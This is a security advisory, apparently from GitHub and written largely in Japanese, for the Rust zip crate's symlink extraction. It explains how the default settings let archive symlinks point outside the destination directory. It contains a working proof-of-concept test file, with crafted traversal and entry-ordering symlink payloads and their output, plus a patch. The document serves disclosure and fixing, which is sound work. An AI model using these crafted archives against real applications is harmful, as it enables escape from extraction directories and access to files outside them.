GHSA-x2x8-gq67-9mq6「With the default SymlinkExtractAction::ExtractRecursiveInFolder (since v9.0.0), symlinks pointing outside the extraction directory are still created」

この脆弱性は v9.0.2 で修正されました．

• Merge commit from fork · zip-rs/zip2@7fc4490 · GitHub
• With the default SymlinkExtractAction::ExtractRecursiveInFolder (since v9.0.0), symlinks pointing outside the extraction directory are still created · Advisory · zip-rs/zip2 · GitHub

Summary

• Verified version: v9.0.1 master HEAD: b5326b2b42a19f6b5e861e3c726ac58eead521c7
• Affected versions: v9.0.0, v9.0.1
• Related:
  • GHSA-4v9h-p7m9-rh26
• Precondition: 相対 target のみで成立し，絶対パスの target は strip_base_prefix() で拒否されます

ZipArchive::extract() / ZipArchive::extract_unwrapped_root_dir() のデフォルトの設定 (ExtractRecursiveInFolder) では，この防御を回避でき，アーカイブ由来の symlink が 展開先ディレクトリ外 を指した状態で作成されます．

GHSA-4v9h-p7m9-rh26 の PoC (絶対パスの target) と，同 advisory が推奨する回帰テスト (../outside) は，いずれも 既に存在する target を使っています．
この場合は canonicalize() が成功するため現在も正しく拒否され，既存の回帰テストは成功します．
そのため，本件はこれらのテストでは検出されません．

なお，同一アーカイブ内の後続エントリが，その symlink を経由して外部に書き込む経路は，safe_prepare_path() -> resolve_enclosed() によって正常に拒否されています．

さらに，09c030eab56e8db8fb3c1c33f554407b30bad8fa の防御自体も，エントリの順序を利用すると回避できます (Details 3)．

---

Details

---

ExtractRecursiveInFolder で resolve_enclosed を経由していない

src/read/extract.rs: make_symlink() (L153-196):

//...
    // ExtractNoRestrictions is allowed outside (no restrictions) - but it uses
    // [`make_symlink_impl`] directly
    // ExtractRecursiveInFolder is allowed outside (it will be checked that the symlink fall in the
    // folder)
    #[cfg(any(windows, unix))]
    let allow_outside = matches!(
        symlink_action,
        SymlinkExtractAction::ExtractNoRestrictions
            | SymlinkExtractAction::ExtractRecursiveInFolder
    );
    #[cfg(not(any(windows, unix)))]
    let allow_outside = false;
    if allow_outside {
        // For ExtractRecursiveInFolder: the literal path may leave `base` (e.g.
        // `../sibling`), but it must canonicalize (following real filesystem symlinks) back into `base`.
        #[cfg(any(unix, windows))]
        if matches!(
            symlink_action,
            SymlinkExtractAction::ExtractRecursiveInFolder
        ) {
            // Try to canonicalize the resolved path so that symlinks in the filesystem
            // that point back inside `base` are followed.
            let abs_to_canonicalize = if target_path.is_absolute() {
                target_path
            } else {
                &base.join(target_path)
            };
            let canonical = if let Ok(p) = std::fs::canonicalize(abs_to_canonicalize) {
                p
            } else {
                abs_to_canonicalize.to_path_buf()
            };
            if !canonical.starts_with(base) {
                return Err(invalid!("Path escapes the destination directory"));
            }
        }
    } else {
        crate::path::resolve_enclosed(
            base,
            start,
            rest.components().map(|c| c.as_os_str().to_os_string()),
            false, // only checking here, so nothing is created
        )?;
    }
//...

ExtractRecursiveInFolder はデフォルトであり (src/read/extract.rs: L29-32 の #[default])，extract() (L310-316) と extract_unwrapped_root_dir() (L384-390) は ExtractOptions::default() を渡します．

そのため，デフォルトの展開では常に上記の if allow_outside 分岐が使われ，else側の resolve_enclosed は呼ばれません．
この分岐には以下の3つの問題があります．

1. canonicalize 失敗時に未正規化パスを字句的に比較している

std::fs::canonicalize は，パスの途中または末尾が存在しない場合にエラーを返します．
このとき，コードは未正規化の abs_to_canonicalize をそのまま starts_with(base) で比較します．

Path::starts_with はコンポーネント単位の字句比較で .. を解釈しません．
相対 target の場合 abs_to_canonicalize = base.join(target_path) であるため，target_path に .. が含まれていても 字句的には常に base で始まる ため検査を通過します．

結果として，解決先の存在しない相対 target は内容に関わらず受理されます．

2. 相対 target を symlink の親ではなく base 基準で評価している

OSは相対 target を symlink 自身の親ディレクトリ を基準に解決します．
make_symlink() の前半 (L123-151) でも，相対 target の起点 start は outpath.parent() として計算されています．
しかし，検査では base.join(target_path) を使っており，start を使っていません．

そのため，サブディレクトリ内の symlink では，検査対象のパスと実際の解決先が一致しません．

3. エントリの順序による回避 (resolve_enclosed() 自体の問題)

1・2 とは別に，resolve_enclosed() にも，エントリの順序を利用して展開先外を指す symlink を作成できる問題があります．
そのため，1・2 を直して resolve_enclosed() を経由させるだけでは，展開先外を指す symlink の作成を防げません．

src/path.rs: resolve_enclosed() (L181-203):

//...
        if component == OsStr::new("..") {
            // Never walk above `base`: `..` is rejected once we are back at `base`.
            if current == base {
                return Err(invalid!(
                    "Path escapes the destination directory - component is '..'"
                ));
            }
            current.pop();
            continue;
        }

        current.push(&component);

        let meta = match fs::symlink_metadata(&current) {
            Ok(meta) => meta,
            // Nothing to follow here, so keep walking; this is also what allows a
            // symlink whose target does not exist (yet) to be accepted.
            Err(e) if e.kind() == std::io::ErrorKind::NotFound => {
                if create_dirs && !queue.is_empty() {
                    make_writable_dir_all(&current)?;
                }
                continue;
            }
        }
//...

存在しないコンポーネントの直後に .. があると，resolve_enclosed() はそれを current.pop() で字句的に打ち消します．
しかし，そのコンポーネントは同じアーカイブの後続エントリで symlink として作成できます．
OS は x/.. をx の解決先の親として解決するため，検査時と実際の解決先が一致しなくなります．

例として，以下の順序で 2 つの symlink を格納したアーカイブを考えます．

1. l -> x/../outside: この時点では x が存在しないため，x/.. は字句的に打ち消され，<dest>/outside (展開先内) として受理されます．
2. x -> .: x は <dest> 自身に解決されるため受理されます．

展開後，OS は l を <dest>/x/../outside -> <dest>/../outside -> <dest の親>/outside と解決し，l は展開先外を指します．

この場合も同一アーカイブ内の後続エントリが l を経由して書き込む経路は safe_prepare_path() によって拒否されます．

---

Root Cause

2a87f64fbe10a7e0a3a51a89fedf9b9c77f3c951 で resolve_enclosed() に allow_outside 引数が追加され，ExtractRecursiveInFolder のときは base から上へ .. で抜けることが許されるようになりました．
a72b210475f1612651b98364b45c612561b5c96b でこの引数は削除されましたが，ExtractRecursiveInFolder では resolve_enclosed() を呼ばず，canonicalize() と字句比較による検査に置き換えられたため，Details の 1・2 が残っています．

tests/extract_symlink.rs の回帰テスト (test_cannot_create_symlink_pointing_outside_destination など) は既に存在する target のみを使っているため，この退行は検出されませんでした．

---

PoC

ユニットテストの形式でPoCを以下に記載しています．
このPoCを tests/poc_linux.rs として配置し，cargo test --test poc_linux -- --nocapture で実行することで検証できます．

• dangling_outward_symlink_is_created(): 解決先が存在しない target (../outside/missing) で，展開先外を指す symlink が作成される
• subdir_symlink_to_existing_outside_dir_is_created(): サブディレクトリ内の symlink が既存の展開先外ディレクトリに解決される
• extract_unwrapped_root_dir_is_affected(): extract_unwrapped_root_dir でも同様
• ordering_bypass_default(): エントリの順序 (l -> x/../outside の後に x -> .) により，デフォルト設定で展開先外を指す symlink が作成される (Details 3)
• ordering_bypass_extract_in_folder(): resolve_enclosed() で検査される ExtractInFolder でも同様

tests/poc_linux.rs

//! Linux PoC:
//! The default `SymlinkExtractAction::ExtractRecursiveInFolder` creates symlinks
//! that point outside the extraction directory
//!
//! - author: sl91994
//!
//! Run:
//! `cargo test --test poc_linux -- --nocapture`

#![cfg(unix)]

use std::fs;
use std::io::Cursor;
use std::path::{Path, PathBuf};
use tempfile::TempDir;
use zip::read::{ExtractOptions, SymlinkExtractAction, root_dir_common_filter};
use zip::write::SimpleFileOptions;
use zip::{CompressionMethod, ZipArchive, ZipWriter};

/// Create `<tmp>/dest` (extraction destination) and `<tmp>/outside` (outside the extraction destination)
fn setup() -> (TempDir, PathBuf, PathBuf) {
    let tmp = TempDir::new().unwrap();
    let root = tmp.path().canonicalize().unwrap();
    let dest = root.join("dest");
    let outside = root.join("outside");
    fs::create_dir(&dest).unwrap();
    fs::create_dir(&outside).unwrap();
    (tmp, dest, outside)
}

/// Create a ZIP file containing only symlinks
fn archive(links: &[(&str, &str)]) -> ZipArchive<Cursor<Vec<u8>>> {
    let opt = SimpleFileOptions::default().compression_method(CompressionMethod::Stored);
    let mut zip = ZipWriter::new(Cursor::new(Vec::new()));
    for (name, target) in links {
        zip.add_symlink(*name, *target, opt).unwrap();
    }
    zip.finish_into_readable().unwrap()
}

/// The actual path to which the symlink resolves (resolved relative to the parent of the symlink, just like in the OS)
fn resolve(link: &Path) -> Option<PathBuf> {
    let target = fs::read_link(link).ok()?;
    link.parent().unwrap().join(target).canonicalize().ok()
}

/// Non-existent target: A dangling symlink pointing outside the extraction directory is created
#[test]
fn dangling_outward_symlink_is_created() {
    let (_tmp, dest, _outside) = setup();

    let res = archive(&[("l", "../outside/missing")]).extract(&dest);
    println!("extract() returned: {res:?}");
    res.unwrap();

    let link = dest.join("l");
    let target = fs::read_link(&link).unwrap();
    println!("{} -> {:?}", link.display(), target);
    assert_eq!(target, Path::new("../outside/missing"));
}

/// Symlinks in subdirectories: Symlinks pointing to directories outside the existing extraction destination are created.
#[test]
fn subdir_symlink_to_existing_outside_dir_is_created() {
    let (_tmp, dest, outside) = setup();

    let res = archive(&[("a/b/c/l", "../../../../outside")]).extract(&dest);
    println!("extract() returned: {res:?}");
    res.unwrap();

    let link = dest.join("a/b/c/l");
    let resolved = resolve(&link);
    println!("{} resolves to {:?}", link.display(), resolved);
    assert_eq!(resolved.as_deref(), Some(outside.as_path()));
}

/// Since `extract_unwrapped_root_dir` also uses the default options, the same applies.
#[test]
fn extract_unwrapped_root_dir_is_affected() {
    let (_tmp, dest, outside) = setup();

    let res = archive(&[("root/a/b/c/l", "../../../../outside")])
        .extract_unwrapped_root_dir(&dest, root_dir_common_filter);
    println!("extract_unwrapped_root_dir() returned: {res:?}");
    res.unwrap();

    let link = dest.join("a/b/c/l");
    let resolved = resolve(&link);
    println!("{} resolves to {:?}", link.display(), resolved);
    assert_eq!(resolved.as_deref(), Some(outside.as_path()));
}

/// Ordering bypass: `l -> x/../outside` is checked while `x` does not exist yet, so `x/..` is
/// cancelled lexically. A later entry then creates `x -> .`, and the OS resolves `x/..` to the
/// parent of the extraction directory.
fn ordering_bypass(options: Option<ExtractOptions>) {
    let (_tmp, dest, outside) = setup();

    let mut zip = archive(&[("l", "x/../outside"), ("x", ".")]);
    let res = match options {
        None => zip.extract(&dest),
        Some(options) => zip.extract_with_options(&dest, options),
    };
    println!("extract() returned: {res:?}");
    res.unwrap();

    let link = dest.join("l");
    let resolved = fs::canonicalize(&link).ok();
    println!("{} resolves to {:?}", link.display(), resolved);
    assert_eq!(resolved.as_deref(), Some(outside.as_path()));
}

/// The default `ExtractRecursiveInFolder` is affected by the ordering bypass.
#[test]
fn ordering_bypass_default() {
    ordering_bypass(None);
}

/// `ExtractInFolder`, which still checks with `resolve_enclosed`, is also affected.
#[test]
fn ordering_bypass_extract_in_folder() {
    ordering_bypass(Some(
        ExtractOptions::default().symlink_action(SymlinkExtractAction::ExtractInFolder),
    ));
}

PoC 実行結果

$ cargo test --test poc_linux -- --nocapture --test-threads=1
#...
running 5 tests
test dangling_outward_symlink_is_created ... extract() returned: Ok(())
/tmp/.tmpO3VyJm/dest/l -> "../outside/missing"
ok
test extract_unwrapped_root_dir_is_affected ... extract_unwrapped_root_dir() returned: Ok(())
/tmp/.tmpbczyrV/dest/a/b/c/l resolves to Some("/tmp/.tmpbczyrV/outside")
ok
test ordering_bypass_default ... extract() returned: Ok(())
/tmp/.tmpnuOQnx/dest/l resolves to Some("/tmp/.tmpnuOQnx/outside")
ok
test ordering_bypass_extract_in_folder ... extract() returned: Ok(())
/tmp/.tmp1YQjM1/dest/l resolves to Some("/tmp/.tmp1YQjM1/outside")
ok
test subdir_symlink_to_existing_outside_dir_is_created ... extract() returned: Ok(())
/tmp/.tmpSfppcW/dest/a/b/c/l resolves to Some("/tmp/.tmpSfppcW/outside")
ok

test result: ok. 5 passed; 0 failed; 0 ignored; 0 measured; 0 filtered out; finished in 0.01s

---

Impact

untrusted な ZIP をデフォルト設定の ZipArchive::extract / ZipArchive::extract_unwrapped_root_dir で展開すると，展開先ディレクトリ内に，展開先外を指す symlink が作成されます．
symlink の解決先は，展開先外の既存ファイル・ディレクトリでも，存在しないパスでも同様です．

クレート単体で展開先外への書き込み等が可能となるものではなく，影響を受けるのは，展開後に展開先内のファイルへ書き込む，または展開先内のファイルを読み出して外部へ提供する アプリケーションです．

GHSA-4v9h-p7m9-rh26 では 9.0.0 が修正版とされているため，この advisory を参照して 9.0.0 以降へ更新した利用者も，影響を受けたままになっています．

---

Suggested Fix

ExtractRecursiveInFolder の意図 (既存 symlink を辿った最終的な解決先が展開先内であれば許可) を保ったまま，以下の3点を修正します．

1. 相対 target は start (symlink の親) を基準に canonicalize() する
2. canonicalize() に失敗した場合は字句比較せず，resolve_enclosed() で検査する
3. resolve_enclosed() では，存在しない (かつ作成しない) コンポーネントの後に .. が現れた場合は拒否する

3 は，検査時に存在しないコンポーネントが後続エントリで symlink として作成されうるため，その後の .. を字句的に打ち消せないことへの対処です (Details 3)．

diff --git a/src/path.rs b/src/path.rs
index 147d9bc9..18ce9cd8 100644
--- a/src/path.rs
+++ b/src/path.rs
@@ -173,12 +173,20 @@ pub(crate) fn resolve_enclosed(
     let mut current = start.to_path_buf();
     let mut queue: VecDeque<OsString> = components.into_iter().collect();
     let mut hops = 0usize;
+    // Set once a component does not exist (and is not created). A later entry may still
+    // create it as a symlink, so a `..` after it cannot be resolved lexically.
+    let mut missing = false;

     while let Some(component) = queue.pop_front() {
         if component.is_empty() || component == OsStr::new(".") {
             continue;
         }
         if component == OsStr::new("..") {
+            if missing {
+                return Err(invalid!(
+                    "Path escapes the destination directory - '..' after a missing component"
+                ));
+            }
             // Never walk above `base`: `..` is rejected once we are back at `base`.
             if current == base {
                 return Err(invalid!(
@@ -198,6 +206,8 @@ pub(crate) fn resolve_enclosed(
             Err(e) if e.kind() == std::io::ErrorKind::NotFound => {
                 if create_dirs && !queue.is_empty() {
                     make_writable_dir_all(&current)?;
+                } else {
+                    missing = true;
                 }
                 continue;
             }
diff --git a/src/read/extract.rs b/src/read/extract.rs
index 91b920ab..4678126b 100644
--- a/src/read/extract.rs
+++ b/src/read/extract.rs
@@ -175,15 +175,22 @@ pub(crate) fn make_symlink<T>(
             let abs_to_canonicalize = if target_path.is_absolute() {
                 target_path
             } else {
-                &base.join(target_path)
+                &start.join(target_path)
             };
-            let canonical = if let Ok(p) = std::fs::canonicalize(abs_to_canonicalize) {
-                p
-            } else {
-                abs_to_canonicalize.to_path_buf()
-            };
-            if !canonical.starts_with(base) {
-                return Err(invalid!("Path escapes the destination directory"));
+            match std::fs::canonicalize(abs_to_canonicalize) {
+                Ok(canonical) => {
+                    if !canonical.starts_with(base) {
+                        return Err(invalid!("Path escapes the destination directory"));
+                    }
+                }
+                Err(_) => {
+                    crate::path::resolve_enclosed(
+                        base,
+                        start,
+                        rest.components().map(|c| c.as_os_str().to_os_string()),
+                        false,
+                    )?;
+                }
             }
         }
     } else {